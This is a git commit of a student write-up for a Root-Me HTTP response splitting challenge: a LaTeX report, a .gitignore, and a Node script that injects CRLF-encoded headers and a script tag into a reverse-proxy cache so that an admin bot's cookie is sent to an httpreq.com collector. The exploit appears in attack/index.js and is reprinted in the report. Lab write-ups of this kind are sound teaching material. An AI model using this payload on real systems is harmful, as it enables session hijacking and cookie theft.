This commit is contained in:
2020-11-13 09:42:04 +01:00
commit 4b263e54fa
48 changed files with 17734 additions and 0 deletions

408
.gitignore vendored Normal file
View File

@@ -0,0 +1,408 @@
# Created by https://www.toptal.com/developers/gitignore/api/node,latex
# Edit at https://www.toptal.com/developers/gitignore?templates=node,latex
### LaTeX ###
## Core latex/pdflatex auxiliary files:
*.aux
*.lof
*.log
*.lot
*.fls
*.out
*.toc
*.fmt
*.fot
*.cb
*.cb2
.*.lb
## Intermediate documents:
*.dvi
*.xdv
*-converted-to.*
# these rules might exclude image files for figures etc.
# *.ps
# *.eps
# *.pdf
## Generated if empty string is given at "Please type another file name for output:"
.pdf
## Bibliography auxiliary files (bibtex/biblatex/biber):
*.bbl
*.bcf
*.blg
*-blx.aux
*-blx.bib
*.run.xml
## Build tool auxiliary files:
*.fdb_latexmk
*.synctex
*.synctex(busy)
*.synctex.gz
*.synctex.gz(busy)
*.pdfsync
## Build tool directories for auxiliary files
# latexrun
latex.out/
## Auxiliary and intermediate files from other packages:
# algorithms
*.alg
*.loa
# achemso
acs-*.bib
# amsthm
*.thm
# beamer
*.nav
*.pre
*.snm
*.vrb
# changes
*.soc
# comment
*.cut
# cprotect
*.cpt
# elsarticle (documentclass of Elsevier journals)
*.spl
# endnotes
*.ent
# fixme
*.lox
# feynmf/feynmp
*.mf
*.mp
*.t[1-9]
*.t[1-9][0-9]
*.tfm
#(r)(e)ledmac/(r)(e)ledpar
*.end
*.?end
*.[1-9]
*.[1-9][0-9]
*.[1-9][0-9][0-9]
*.[1-9]R
*.[1-9][0-9]R
*.[1-9][0-9][0-9]R
*.eledsec[1-9]
*.eledsec[1-9]R
*.eledsec[1-9][0-9]
*.eledsec[1-9][0-9]R
*.eledsec[1-9][0-9][0-9]
*.eledsec[1-9][0-9][0-9]R
# glossaries
*.acn
*.acr
*.glg
*.glo
*.gls
*.glsdefs
*.lzo
*.lzs
# uncomment this for glossaries-extra (will ignore makeindex's style files!)
# *.ist
# gnuplottex
*-gnuplottex-*
# gregoriotex
*.gaux
*.gtex
# htlatex
*.4ct
*.4tc
*.idv
*.lg
*.trc
*.xref
# hyperref
*.brf
# knitr
*-concordance.tex
# TODO Comment the next line if you want to keep your tikz graphics files
*.tikz
*-tikzDictionary
# listings
*.lol
# luatexja-ruby
*.ltjruby
# makeidx
*.idx
*.ilg
*.ind
# minitoc
*.maf
*.mlf
*.mlt
*.mtc
*.mtc[0-9]*
*.slf[0-9]*
*.slt[0-9]*
*.stc[0-9]*
# minted
_minted*
*.pyg
# morewrites
*.mw
# nomencl
*.nlg
*.nlo
*.nls
# pax
*.pax
# pdfpcnotes
*.pdfpc
# sagetex
*.sagetex.sage
*.sagetex.py
*.sagetex.scmd
# scrwfile
*.wrt
# sympy
*.sout
*.sympy
sympy-plots-for-*.tex/
# pdfcomment
*.upa
*.upb
# pythontex
*.pytxcode
pythontex-files-*/
# tcolorbox
*.listing
# thmtools
*.loe
# TikZ & PGF
*.dpth
*.md5
*.auxlock
# todonotes
*.tdo
# vhistory
*.hst
*.ver
# easy-todo
*.lod
# xcolor
*.xcp
# xmpincl
*.xmpi
# xindy
*.xdy
# xypic precompiled matrices and outlines
*.xyc
*.xyd
# endfloat
*.ttt
*.fff
# Latexian
TSWLatexianTemp*
## Editors:
# WinEdt
*.bak
*.sav
# Texpad
.texpadtmp
# LyX
*.lyx~
# Kile
*.backup
# gummi
.*.swp
# KBibTeX
*~[0-9]*
# TeXnicCenter
*.tps
# auto folder when using emacs and auctex
./auto/*
*.el
# expex forward references with \gathertags
*-tags.tex
# standalone packages
*.sta
# Makeindex log files
*.lpz
# REVTeX puts footnotes in the bibliography by default, unless the nofootinbib
# option is specified. Footnotes are the stored in a file with suffix Notes.bib.
# Uncomment the next line to have this generated file ignored.
#*Notes.bib
### LaTeX Patch ###
# LIPIcs / OASIcs
*.vtc
# glossaries
*.glstex
### Node ###
# Logs
logs
npm-debug.log*
yarn-debug.log*
yarn-error.log*
lerna-debug.log*
# Diagnostic reports (https://nodejs.org/api/report.html)
report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json
# Runtime data
pids
*.pid
*.seed
*.pid.lock
# Directory for instrumented libs generated by jscoverage/JSCover
lib-cov
# Coverage directory used by tools like istanbul
coverage
*.lcov
# nyc test coverage
.nyc_output
# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)
.grunt
# Bower dependency directory (https://bower.io/)
bower_components
# node-waf configuration
.lock-wscript
# Compiled binary addons (https://nodejs.org/api/addons.html)
build/Release
# Dependency directories
node_modules/
jspm_packages/
# TypeScript v1 declaration files
typings/
# TypeScript cache
*.tsbuildinfo
# Optional npm cache directory
.npm
# Optional eslint cache
.eslintcache
# Microbundle cache
.rpt2_cache/
.rts2_cache_cjs/
.rts2_cache_es/
.rts2_cache_umd/
# Optional REPL history
.node_repl_history
# Output of 'npm pack'
*.tgz
# Yarn Integrity file
.yarn-integrity
# dotenv environment variables file
.env
.env.test
.env*.local
# parcel-bundler cache (https://parceljs.org/)
.cache
.parcel-cache
# Next.js build output
.next
# Nuxt.js build / generate output
.nuxt
dist
# Gatsby files
.cache/
# Comment in the public line in if your project uses Gatsby and not Next.js
# https://nextjs.org/blog/next-9-1#public-directory-support
# public
# vuepress build output
.vuepress/dist
# Serverless directories
.serverless/
# FuseBox cache
.fusebox/
# DynamoDB Local files
.dynamodb/
# TernJS port file
.tern-port
# Stores VSCode versions used for testing VSCode extensions
.vscode-test
# End of https://www.toptal.com/developers/gitignore/api/node,latex

Binary file not shown.

46
attack/index.js Normal file
View File

@@ -0,0 +1,46 @@
/* -------------------------------
--- IMPORTS ---
------------------------------- */
const axios = require('axios').default;
/* -------------------------------
--- DATA ---
------------------------------- */
const BASE_URL = "http://challenge01.root-me.org:58002/";
const PAYLOAD = "%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AHost:%20challenge01.root-me.org:58002%0D%0ALast-Modified:%20Tue,%2017%20Nov%202020%2020:46:59%20GMT%0D%0AContent-Type:%20text/html%0D%0AContent-Length:%20112%0D%0A%0D%0A%3Cscript%3Elocation.replace%28%22https%3A%2F%2Fhttpreq.com%2Fthrobbing-cake-4l8suii2%2Frecord%22%20%2B%20%22%3F%22%20%2B%20document.cookie%29%3B%3C%2Fscript%3E"
let cookie = "ebbbd859-1dce-438f-9b9e-46b895fcb169";
const USER_COOKIE = "user_session=" + cookie;
/* -------------------------------
--- PROCESS ---
------------------------------- */
// Launching initial request to the website for code injection
axios.get(BASE_URL + 'user/param?lang=fr' + PAYLOAD, {
headers: {
Cookie: USER_COOKIE,
Pragma: "no-cache"
}
}).then(function (response) {
console.log("Payload injected successfully to the base web page.");
// Start second fetch to poison right uk-icon-page
axios.get(BASE_URL + 'admin', {
headers: {
Cookie: USER_COOKIE
}
}).then(function (response) {
console.log("Admin page visited successfully.");
}).catch(function (error) {
console.log("An error occured while visiting admin page.");
});
}).catch(function (error) {
console.log("An error occured while injecting payload.");
});

21
attack/package-lock.json generated Normal file
View File

@@ -0,0 +1,21 @@
{
"name": "attack",
"version": "1.0.0",
"lockfileVersion": 1,
"requires": true,
"dependencies": {
"axios": {
"version": "0.21.0",
"resolved": "https://registry.npmjs.org/axios/-/axios-0.21.0.tgz",
"integrity": "sha512-fmkJBknJKoZwem3/IKSSLpkdNXZeBu5Q7GA/aRsr2btgrptmSCxi2oFjZHqGdK9DoTil9PIHlPIZw2EcRJXRvw==",
"requires": {
"follow-redirects": "^1.10.0"
}
},
"follow-redirects": {
"version": "1.13.0",
"resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.13.0.tgz",
"integrity": "sha512-aq6gF1BEKje4a9i9+5jimNFIpq4Q1WiwBToeRK5NvZBd/TRsmW8BsJfOEGkr76TbOyPVD3OVDN910EcUNtRYEA=="
}
}
}

14
attack/package.json Normal file
View File

@@ -0,0 +1,14 @@
{
"name": "attack",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "",
"license": "ISC",
"dependencies": {
"axios": "^0.21.0"
}
}

5299
nessus/58002_hkbi2w.nessus Normal file

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

16
report/Makefile Normal file
View File

@@ -0,0 +1,16 @@
TEX = pdflatex -shell-escape -interaction=nonstopmode -file-line-error
BIB = biber
pdf:
$(TEX) main.tex
all:
makeglossaries main
biber main
$(TEX) main.tex
gls:
makeglossaries main
bib:
biber main

3
report/README.md Normal file
View File

@@ -0,0 +1,3 @@
# Report
This directory contains all the LaTeX resources used for the report file.

View File

@@ -0,0 +1,42 @@
\section{Appendices}
\label{sec:appendices}
\subsection*{Nessus files}
\label{sec:appendices_nessus}
The two outputs generated by \textit{Nessus} are attached to this report, under the \textit{nessus} folder in the \textit{ZIP} file of the sources.
\begin{itemize}
\item \textbf{http\_splitting\_vg9un1.nessus}: results of the overall scan on the complete server
\item \textbf{58002\_hkbi2w.nessus}: results of the Web-oriented scan on the Web server
\end{itemize}
\subsection*{Attack script}
\label{sec:appendices_script}
The \textit{Node} application used to perform the attack is available in the \textit{ZIP} file of the sources.
Files:
\begin{itemize}
\item \textbf{package.json}: file defining the application and its dependencies
\item \textbf{index.js}: file containing the \gls{javascript} code for the attack
\end{itemize}
Here is the procedure to install and execute the attack from a terminal:
\begin{enumerate}
\item Go to the directory containing those two files
\item Run the following command to initialize the application: \texttt{npm install}
\item Run the following command: \texttt{node index.js}
\end{enumerate}
Make sure that the \textit{Node} environment and the \gls{npm} \gls{package_manager} are installed on your system.
\subsection*{\LaTeX \ report}
\label{sec:appendices_report}
The files used to generate this report are available under the \textit{report} folder of the \textit{ZIP} file of the sources.
\subsection*{Presentation}
\label{sec:appendices_presentation}
The presentation file, EHK20\_HTTP-Response-Splitting\_Guibert-Loic\_presentation.pdf, of this challenge is available at the root directory of the main \textit{ZIP} file.

View File

@@ -0,0 +1,341 @@
\section{Challenge}
\label{sec:challenge}
\subsection{Starting point}
\label{subsec:starting}
The Root-Me web page gives some information about the vulnerable website. We know three things:
\begin{itemize}
\item A reverse proxy cache has been installed
\item The website is still under development
\item The administrator connects him/herself very often
\end{itemize}
Those information gives us several leads. First of all, we know that we can dig into the operations of a reverse proxy in order to find out potential weaknesses or vulnerabilities. Then, if the website is under development, there can be some files, resources or accesses than are not supposed to be available on the website or the server. By the way, a website should not be reachable on the Internet when not finished. Lastly, if the administrator logs in several times a day, we could try to dig out some clues about sessions or the server cache.
Here is the base address of the vulnerable website:
\begin{center}
\url{http://challenge01.root-me.org:58002/home}
\end{center}
The \gls{ip_address} behind this Web server is \texttt{2001:bc8:35b0:c166::151}. It is placed on the \texttt{58002} port of the target machine.
Here is a preview of the home page:
\newimage{0.7}{ch_page_home.png}{Home page of the website}{ch_page_home}
We can see that the page has a link to an administration page. If we try to access to this page, we obtain a \texttt{401} \gls{http} error code:
\newimage{0.7}{ch_page_admin.png}{Restrained admin page of the website}{ch_page_admin}
The first thing I saw was that the web server do not use any secured transport protocol, such as \gls{tls}. This is a really bad practice, but it can help us in our research of vulnerabilities.
At the first visit on the website, a page asks us which language we want to choose. Depending on our choice, a \gls{http} \textit{GET} parameter is given to the web server (i.e. \texttt{user/param?lang=fr}).
\newimage{0.7}{ch_page_lang.png}{Language choice page of the website}{ch_page_lang}
This page is shown if no \gls{cookie} defining the language is stored on the client browser.
\subsection{Technological Background}
\label{subsec:background}
Based on the first contact, we will here explain the various technologies used for the website.
\subsubsection{Used languages}
The website is built using basic \gls{html}. There is no \gls{javascript} nor \gls{css} used. We can confirm this by opening the \textit{Network} tab of our browser's console when requesting the pages.
\newimage{1}{ch_console_network.png}{List of the returned Web documents}{ch_console_network}
The admin page is alone too, but returned with the \texttt{401} error code\footnote{\url{https://en.wikipedia.org/wiki/List_of_HTTP_status_codes}} \textit{Forbidden}.
Beside the website resources, its pages do not contain any line of code other than \gls{html}.
It limits the possibilities of attack vectors, but a \gls{javascript} code can always be injected into the website by many vectors.
\subsubsection{\Gls{cookie} usage}
By opening the browser console, we can see that two \gls{cookie}s are defined by the website. One of them defines the chosen language, the second one gives the identifier of the user session.
\newimage{1}{ch_cookies.png}{\Gls{cookie}s defined}{ch_cookies}
A nice lead would be to try to steal the administrator's session identifier stored in the corresponding \gls{cookie}.
\subsubsection{Reverse Proxy}
As mentioned at the beginning of this section, we know that this website is using a reverse proxy. Basically, a proxy is a server that acts as an intermediary between two hosts in order to hide clients. Typically, it intercepts all requests made to a server by the client and forward them to this server as if it made the initial request. It also receives and forwards the server's responses to the client. A proxy is located at the application layer of the \gls{osi} model\footnote{\url{https://en.wikipedia.org/wiki/OSI_model}}. This kind of proxies is also called \textit{forward proxies}.
This intermediary permits to hide the initial origin, the client one, of requests. It can also authorize a client to access to some resource, a network or servers. It can provide various services, such as:
\begin{itemize}
\item Increasing the privacy of the client
\item Additional security
\item Traffic sniffing
\item Limitation of the access to local or global resources
\item To avoid network restrictions
\end{itemize}
\newimage{0.6}{ch_proxy_forward.png}{Explanation of a forward proxy}{ch_proxy_forward}
Note: a proxy can be used by one or several clients. It then acts as one virtual client for each real client.
More specialized, a reverse proxy is a server installed in front of one or several Web servers. It acts again as an intermediary between clients and servers by intercepting traffic, but its goal is to avoid direct communication to one or several origin servers. The client has therefore the impression to only communicate with the proxy, when it can receive answers from several servers. Using this kind of proxies, we can map one \gls{ip_address} with different ports to many servers.
\newpage
\newimage{0.8}{ch_proxy_reverse.png}{Explanation of a reverse proxy}{ch_proxy_reverse}
Note: a proxy can be used by one or several clients. It then acts as one virtual client for each real client.
Its services can be:
\begin{itemize}
\item Add protections against attacks
\item Load balancing
\item Add a secured transmission (by \gls{tls} or other protocols)
\item \textbf{Implement a caching capability}
\end{itemize}
As explained by the challenge, the proxy used by the website is meant to add a caching capability. It implies that we never speak directly to the Web server, but to the proxy.
\subsubsection{Server checks}
We will now use several tools in order to collect as much information as we can.
First of all, we used the \textit{Nessus} scanner\footnote{\url{https://www.tenable.com/products/nessus}} in order to get a complete overview of the host. We wanted to get information about the operating system, the opened ports or the potential vulnerabilities. An advanced scan has been launched on the host, including all \gls{tcp} ports. Here are our main finding:
\begin{itemize}
\item There is 57 opened and responding \gls{tcp} ports. Some of them are used for the \gls{ssh}, \gls{smtp} or \gls{http} protocols, others are just opened.
\item Some banners, corresponding of the fingerprint of services, have been found. But nothing for the \texttt{58002} port.
\item The host is running the Linux Kernel version 2.6
\item Some web servers are using \textit{nginx} \footnote{\url{https://nginx.com/}}. The one one the \texttt{58002} port is using \textit{WorldCompanyWebServer}.
\item Python is running on two other ports.
\item The reverse proxy has been detected, but without its version
\item The \gls{http} \textit{Options allowed} header is not implemented on the \texttt{58002} port.
\item Only the \textit{GET} \gls{http} method is allowed on the \texttt{58002} port.
\item The \gls{smtp} server allow mail relaying.
\end{itemize}
For now, we do not think that the other ports are useful for the resolution of the challenge. They are used for other challenges of the \textit{Root-Me} platform.
Then, we used \textit{nmap}\footnote{\url{https://nmap.org/}} in order to detect the machine version, the enumeration of available services and their version. This could be helpful for further researches. We did not find any additional information. Nmap thinks that the device is an \textit{Apple} phone, which is highly unlikely.
\begin{lstlisting}[language=bash, caption=One of the used nmap command]
$ nmap -6 2001:bc8:35b0:c166::151 -A -Pn -p 58002
\end{lstlisting}
\subsubsection{\gls{http} check}
\label{subsubsec:ch_http_check}
After the general scan, we launched a Web-specialized scan on the \texttt{58002} port. We also used \textit{Nessus}. Here are our major findings:
\begin{itemize}
\item Some \gls{cgi} scripts may not be correctly and securely sanitized, which could let us executing arbitrary \gls{html} code into the clients' browser
\item Some \gls{cgi}s can be vulnerable to header injections. A proxy cache poisoning is therefore possible.
\item Strings can be passed into \gls{cgi}s parameters and they could be read back in the response.
\item The \gls{cookie}s are not marked \textit{Secure} nor \textit{HttpOnly}, so they are sent on non-encrypted lines and can be read by malicious client-side scripts.
\item No \gls{csp} policy is defined, so cross-site scripting is possible.
\item No \textit{X-Frame-Options} \gls{http} header is defined in the responses, so click-jacking attacks are possible.
\end{itemize}
\subsubsection{\gls{cgi}}
We saw at the \ref{subsec:starting} subsection that some \gls{http} \textit{GET} parameters are given to the Web server then choosing a language. Based on the results of the \textit{Nessus} scan, we now know that those inputs are vulnerable to header injections. We are now aware that we can use this entry point to perform an injection.
\subsubsection{Final thought}
The main vectors that we can deduct are that the \gls{cgi} capability is not secured, neither the server's \gls{http} configuration. Some code could be injected into the proxy by one of those two weaknesses in order to be processed by another person directly in his/her browser. Our major lead here is to try to seal the administrator session by using such injection.
\subsection{Direction}
Based on our previous discoveries, we do not have a lot of information about the machine itself. But we now know that the \gls{http} headers are vulnerable, by the \gls{cgi} interface. The payload that we will be using will not be specific to an operating system, but based on weaknesses on the \gls{http} protocol and the server scripting system itself. We do not depend on a specific software version nor an application version.
\subsubsection{Payload}
Because we are working in a Web environment, we can use a malicious \gls{javascript} code. After a few researches on the Web, we found out how to build an efficient payload for this purpose: we have to retrieve the stored \gls{cookie}s of the website and log them as \gls{http} \textit{GET} parameters on a website we control. We can then read the \gls{cookie}s in the request that our target made.
\begin{lstlisting}[language=JavaScript, caption=Malicious payload]
const interceptor = "https://httpreq.com/throbbing-cake-4l8suii2/record";
let cookies = document.cookie;
location.replace(interceptor + "?" + cookies);
\end{lstlisting}
We use the free and online service named \textit{http://req}\footnote{\url{https://httpreq.com/}} that we used for another project. Because we do not have any controlled Web server, this tool lets us consult all connections made to a specific endpoint, with the details of the request. All parameters can be seen this way.
Here is a test made from a \textit{Wikipedia} page, by copy-pasting the above code in the browser's console: we saw that all unprotected \gls{cookie}s, like the ones defined on the challenge's Web server, are communicated to the page. The unprotected \gls{cookie}s are the one that can be read by \gls{javascript} codes (\gls{http} header \textit{httpOnly}) and not protected by an encryption protocol (\gls{http} header \textit{Secure}). This is also the case of our \gls{cookie}s on the challenge's website.
\newimage{1}{ch_example.png}{Example of the payload}{ch_example}
\subsubsection{\gls{http} request splitting}
The main subject of this challenge is the splitting of a \gls{http} response. We saw on \ref{subsubsec:ch_http_check} the lack of \gls{http} security mechanisms, so we can try to inject our payload directly in the request. Based on the corresponding Wikipedia page\footnote{\url{https://en.wikipedia.org/wiki/HTTP_response_splitting}}, we tried to escape the \gls{http} headers of a request made on the challenge Web page.
We used the \textit{ZAP} proxy\footnote{\url{https://www.zaproxy.org/}} in order to capture all traffic between our computer and the reverse proxy. This let us modify the headers of the requests before sending them to the server.
After a few researches, we found a website\footnote{\url{https://www.netsparker.com/blog/web-security/crlf-http-header/}} that describe the approach for escaping the scope of \gls{http} headers, by the \gls{crlf} characters. Each line of a request defines a header, and are split by those end-of-line characters (CR and LF). By adding such characters at the end of the \textit{GET} method as parameters, we can take control of the page content. So we adapted the payload we defined earlier and tried to inject it into a request.
By splitting the headers, we have to redefine basic and mandatory \gls{http} headers in order to send a valid request. Then, at the end of those headers, we can add our payload. We used the corresponding \gls{rfc}\footnote{\url{https://tools.ietf.org/html/rfc2616}} in order to find those headers.
\begin{itemize}
\item \textbf{\%0D\%0A}: the end-of-line characters for escaping a header
\item \textbf{HTTP/1.1 200 OK}: to define the protocol and its version
\item \textbf{Host: challenge01.root-me.org:58002}: to define the initial host
\item \textbf{Last-Modified: date}: to give the timestamp, something after the real timestamp in order to be cached by the reverse proxy
\item \textbf{Content-Type: text/html}: to indicate the format of the requested page
\item \textbf{Content-Length: size}: to give the size of the page, which is the size of the payload
\item \textbf{payload}: Finally, the payload that must be included into \texttt{script} \gls{html} tags to be interpreted by the browser
\end{itemize}
All those items must then be chained between each others, and spaces must be indicated by the \texttt{\%20} string.
\begin{lstlisting}[caption=\gls{http} headers written manually]
&%0D%0AHTTP/1.1%20200%2OK%0D%0AHost:%20challenge01.root-me.org:58002%0D%0ALast-Modified:%20Tue,%2027%20Oct%202020%2020:46:59%20GMT%0D%0AContent-Type:%20text/html%0D%0AContent-Length:%20112
\end{lstlisting}
We have to specify the size of the \gls{http} response's body. For this, we found the size of the payload by reading the \texttt{.length} property on a new \gls{javascript} variable, that include the \texttt{<script>} tags and the complete payload without nested variables. This is easier to get the payload size this way.
\begin{lstlisting}[caption=New \gls{javascript} variable for the payload]
let payload = '<script>location.replace("https://httpreq.com/throbbing-cake-4l8suii2/record" + "?" + document.cookie);</script>';
\end{lstlisting}
\newpage
Now, we just have to add the content of the payload variable as a string to the end of the \gls{http} headers. Warning: do not forget to replace the special characters by the one supported by the \gls{http} protocol (i.e: \%20 instead of a space). For this, we used the \textit{URLEncoder}\footnote{\url{https://www.urlencoder.io/}} online tool. A complete specification of those characters is available online\footnote{\url{https://www.html.am/reference/html-special-characters.cfm}}.
\begin{lstlisting}[caption=Final \gls{http} headers payload]
&%0D%0AHTTP/1.1%20200%2OK%0D%0AHost:%20challenge01.root-me.org:58002%0D%0ALast-Modified:%20Tue,%2027%20Oct%202020%2020:46:59%20GMT%0D%0AContent-Type:%20text/html%0D%0AContent-Length:%20112%0D%0A%0D%0A%27%3Cscript%3Elocation.replace%28%22https%3A%2F%2Fhttpreq.com%2Fthrobbing-cake-4l8suii2%2Frecord%22%20%2B%20%22%3F%22%20%2B%20document.cookie%29%3B%3C%2Fscript%3E%27
\end{lstlisting}
We then tried to inject this complete payload to our target, but we ran into a few problems. First of all, we did not think that we had to include two end-of-lines at the end of the \gls{http} \textit{GET} parameters and just in front of the body. This is defined by the protocol norms. Otherwise, the request is not valid.
Then, we tried this on the \texttt{/home} endpoint, but we forgot that we have to visit \texttt{/user/param} in order to enable the \gls{cgi} processing.
We also made a typo in the \gls{http} response code: we typed a \texttt{O} instead of a \texttt{0} for the \texttt{200 OK} part.
Finally, we had to remove the extra \texttt{'} characters at the start and at the end of the content of the payload (the \%27 string). It defined the scope of the \gls{javascript} string, but it is no longer required there and we forgot them.
\begin{lstlisting}[caption=Corrected final HTTP content]
%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AHost:%20challenge01.root-me.org:58002%0D%0ALast-Modified:%20Tue,%2017%20Nov%202020%2020:46:59%20GMT%0D%0AContent-Type:%20text/html%0D%0AContent-Length:%20112%0D%0A%0D%0A%3Cscript%3Elocation.replace%28%22https%3A%2F%2Fhttpreq.com%2Fthrobbing-cake-4l8suii2%2Frecord%22%20%2B%20%22%3F%22%20%2B%20document.cookie%29%3B%3C%2Fscript%3E
\end{lstlisting}
\subsubsection{Injection demonstration}
For the demonstration, we enabled a breakpoint on \textit{ZAP} in order to catch each request made to the challenge's Web server. When we visit the Web site from a fresh start, without any \gls{cookie}, we intercept the request when selecting the language and add the payload after the language parameter in the \gls{url}. Then, we can see that the request contains the normalized payload in its body, and redirects to the home page by a \texttt{302} \gls{http} code, which means that a redirection is made to another page (\texttt{/home}). The client then sends a request to get the home page, that the server sends with the headers and the body defined by the payload and injected in the previous exchange.
\begin{figure}[!htb]
\begin{minipage}{0.5\textwidth}
\centering
\includegraphics[width=0.95\linewidth]{ch_demo_req1.png}
\end{minipage}\hfill
\begin{minipage}{0.5\textwidth}
\centering
\includegraphics[width=0.95\linewidth]{ch_demo_res1.png}
\end{minipage}
\caption{Demonstration of injection, initial request and response}
\label{fig:ch_demo_1}
\end{figure}
\begin{figure}[!htb]
\begin{minipage}{0.5\textwidth}
\centering
\includegraphics[width=0.95\linewidth]{ch_demo_req2.png}
\end{minipage}\hfill
\begin{minipage}{0.5\textwidth}
\centering
\includegraphics[width=0.95\linewidth]{ch_demo_res2.png}
\end{minipage}
\caption{Demonstration of injection, second request and response}
\label{fig:ch_demo_2}
\end{figure}
We have two exchanges because after that the language has been set because the Web server redirects to the home page. As explained in the \textit{MDN Documentation}\footnote{\url{https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/302}} of \textit{Mozilla}, the body is not changed at the second exchange when a new request is made for a new page. So we succeeded to perform the injection even with a redirection.
\subsubsection{Cache poisoning}
Now that the payload is ready, we have to inject it on the reverse proxy acting like a cache. For this, we need to discover a way to do that. The objective of this attack is to send a request poisoned with a malicious payload that gets stocked in the cache and delivered to other users.
First, we tried to poison the cache of the home page, but we realized that we never receive the \gls{cookie} of the administrator. We think that she/he only visits the administration page. So, we tried to poison the cache of the admin page, but there is no \textit{GET} parameters passing by \gls{cgi} that can be interpreted in this endpoint: the payload can therefore not be interpreted.
We searched a lot of alternatives in order to inject the malicious code to the administration page. We searched for new \textit{GET} parameters that we could use as vectors, but we did not found anything. We also tried various ways to inject the code by \gls{url} manipulations, but no trial worked.
We finally documented ourselves about \gls{crlf} injection and \textit{\gls{http} Response Splitting}. We have clarified the inner operations when doing such attacks. The first request generates two responses from the web server, the second one being fully controlled by the attacker. Then, by launching a second request, it is matched by the server to the second HTTP response that we control. It means that the server thinks that the resource requested by the second request is the requested one we injected in the first request defining the payload. So, instead of just launching the first request on the server and wait, we need to perform a second request on the server. And in our case, we need to ask for the administration page. Therefore, the administrator will execute our payload when accessing to his/her page because the cache would have a hit to the administrator request and will deliver the cache response, controlled by us.
\newimage{1}{ch_injection.png}{Schema of the cache poisoning}{ch_injection}
The \texttt{302} redirection made after the initial request is not considered in this kind of attack, because the server is in control of this exchange: it said that an additional request must be done on another resource. This is why our payload is not served for such requests. We did not inclused this exchange in the figure \ref{fig:ch_injection} for lisibility purpose.
\newpage
\subsection{The attack}
To launch the attack, we decided to create a small \textit{Node}\footnote{\url{https://nodejs.org/}} application, which is \gls{javascript} scripts running in a context without any browser. We are used to work with this technology, hence our choice. We imported the \textit{axios}\footnote{\url{https://github.com/axios/axios}} library in order to perform the \gls{http} requests.
For the initial request, the one having the payload, we need to be sure that it will be stored in the cache. For this need, we used the \gls{http} header \textit{Pragma}\footnote{\url{https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Pragma}} to ensure that the request is submitted to the Web server before releasing an eventual cached copy. This header replaces the basic one \textit{Cache-Control}, but is also compatible with \gls{http} version 1.0 and is better handled by \textit{axios}.
Then, we defined a timestamp in the future in the \textit{Last-Modified} \gls{http} header to be sure that the cache can store it, because it becomes valid and relevant for the proxy.
Using \gls{javascript}'s \textit{Promise} mechanism (used to bring synchronous capabilities to our code), we made two requests: one for the payload injection and one for the cache poisoning on the admin page.
We had to include one \gls{cookie} defining a user session, otherwise the server do not react correctly to our requests. We took one generated by the server when visiting the Web site normally with a browser.
\newpage
\begin{lstlisting}[caption=Node application running our attack]
/* -------------------------------
--- IMPORTS ---
------------------------------- */
const axios = require('axios').default;
/* -------------------------------
--- DATA ---
------------------------------- */
const BASE_URL = "http://challenge01.root-me.org:58002/";
const PAYLOAD = "%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AHost:%20challenge01.root-me.org:58002%0D%0ALast-Modified:%20Tue,%2017%20Nov%202020%2020:46:59%20GMT%0D%0AContent-Type:%20text/html%0D%0AContent-Length:%20112%0D%0A%0D%0A%3Cscript%3Elocation.replace%28%22https%3A%2F%2Fhttpreq.com%2Fthrobbing-cake-4l8suii2%2Frecord%22%20%2B%20%22%3F%22%20%2B%20document.cookie%29%3B%3C%2Fscript%3E"
let cookie = "ebbbd859-1dce-438f-9b9e-46b895fcb169";
const USER_COOKIE = "user_session=" + cookie;
/* -------------------------------
--- PROCESS ---
------------------------------- */
// Launching initial request to the website for code injection
axios.get(BASE_URL + 'user/param?lang=fr' + PAYLOAD, {
headers: {
Cookie: USER_COOKIE,
Pragma: "no-cache"
}
}).then(function (response) {
console.log("Payload injected successfully to the base web page.");
// Start second fetch to poison right uk-icon-page
axios.get(BASE_URL + 'admin', {
headers: {
Cookie: USER_COOKIE
}
}).then(function (response) {
console.log("Admin page visited successfully.");
}).catch(function (error) {
console.log("An error occured while visiting admin page.");
});
}).catch(function (error) {
console.log("An error occured while injecting payload.");
});
\end{lstlisting}
\newpage
When executing this attack, we have this output:
\newimage{0.6}{ch_attack_console.png}{Output of the attack on the console}{ch_attack_console}
And, by waiting a few minutes for the bot to visit the admin page, we retrieved the administrator \gls{cookie} that contains her/his session identifier, thanks to the \textit{http://req} platform.
\newimage{1}{ch_attack_cookie.png}{\Gls{cookie} of the administrator}{ch_attack_cookie}
This session identifier being the key of the \textit{Root-Me} challenge, the challenge is now validated!
\newimage{0.5}{ch_validation.png}{Validation of the \textit{Root-Me} challenge}{ch_validation}

View File

@@ -0,0 +1,38 @@
\phantomsection
\addcontentsline{toc}{section}{Conclusions}
\section*{Conclusions}
\label{sec:conclusion}
\addcontentsline{toc}{subsection}{Final state of the challenge}
\subsection*{Final state of the challenge}
\label{subsec:conclusion_final}
The \textit{\gls{http} Response Splitting challenge} has been successfully validated. We achieved to find the hidden token, which was the session identifier of the website administrator.
\addcontentsline{toc}{subsubsection}{Work done}
\subsubsection*{Work done}
\label{subsubsec:conclusion_final_work}
We started by various enumeration of the technology, languages and environment information that we found about our target. Then, we searched how to complete our goal with the most appropriate tools and/or techniques, based on our knowledge and our researches. We finally wrote a little application in order to launch our attack.
\addcontentsline{toc}{subsubsection}{Work to be completed, improvements}
\subsubsection*{Work to be completed, improvements}
\label{subsubsec:conclusion_final_improvement}
The \textit{Node} application can be improved, with parameters to enter the \textit{user-session} \gls{cookie} value or to define the endpoints to inject. We could also handle the possible errors returned by \textit{axios} when receiving the server responses. The verbosity of the script could also be improved.
We did not adapt our application with the concepts written above, because this is not the main objective of this practical work. We achieved to write an exploit, which is sufficient. If we took more time, a better application could of been developed, although not mandatory.
Regarding the \gls{javascript} malicious payload, we could have made it differently. With this method, the browser is redirected to the Web address we defined, so the client can see that she/he has been potentially hacked. We could of find another way that operates in total opacity: we could of take the content of the administration page with the \texttt{401} error page and include a resource in the Web page, with an address on a server that we control. This way, the browser makes a request to fetch the resource, and the \gls{cookie} we are looking for would have been in the request.
\addcontentsline{toc}{subsection}{Choices made}
\subsection*{Choices made}
